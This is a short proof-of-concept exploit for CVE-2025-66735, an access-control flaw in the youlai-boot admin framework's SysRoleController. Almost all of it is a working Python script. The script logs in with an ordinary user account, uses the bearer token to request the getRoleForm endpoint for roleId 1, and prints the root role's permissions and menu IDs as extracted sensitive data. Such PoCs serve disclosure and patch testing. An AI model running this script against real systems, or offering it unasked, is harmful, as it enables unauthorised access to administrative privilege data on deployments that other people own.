CVE-2025-66735: youlai-boot SysRoleController getRoleForm权限绕过漏洞

# CVE-2025-66735 PoC - youlai-boot getRoleForm Unauthorized Access # Description: Exploits missing permission check in getRoleForm function # Target: youlai-boot V2.21.1 SysRoleController # Author: Security Researcher # Date: 2025-12-22 import requests import json TARGET_URL = "http://target-server:8080" LOGIN_URL = f"{TARGET_URL}/api/auth/login" ROLE_FORM_URL = f"{TARGET_URL}/api/system/role/form" def exploit_cve_2025_66735(): """ Exploit for CVE-2025-66735: youlai-boot Incorrect Access Control The getRoleForm endpoint does not verify if the user has permission to access root role information. """ print("[*] Starting CVE-2025-66735 Exploitation...") # Step 1: Login with regular user credentials (low privilege account) login_data = { "username": "regular_user", "password": "user_password" } try: session = requests.Session() login_response = session.post(LOGIN_URL, json=login_data, timeout=10) if login_response.status_code != 200: print("[-] Login failed!") return False token = login_response.json().get("data", {}).get("token") if not token: print("[-] Failed to obtain authentication token") return False print(f"[+] Logged in successfully with regular user") headers = {"Authorization": f"Bearer {token}"} # Step 2: Access root role form without proper authorization # The vulnerability allows any authenticated user to access this endpoint params = {"roleId": 1} # roleId=1 is typically the root/admin role exploit_response = session.get(ROLE_FORM_URL, headers=headers, params=params, timeout=10) if exploit_response.status_code == 200: role_data = exploit_response.json() print(f"[+] SUCCESS! Retrieved root role information:") print(json.dumps(role_data, indent=2)) # Extract sensitive information if "data" in role_data: sensitive_info = { "roleName": role_data["data"].get("roleName"), "permissions": role_data["data"].get("permissions"), "menuIds": role_data["data"].get("menuIds") } print(f"\n[+] Sensitive Data Extracted:") print(json.dumps(sensitive_info, indent=2)) return True else: print(f"[-] Exploitation failed with status code: {exploit_response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": exploit_cve_2025_66735()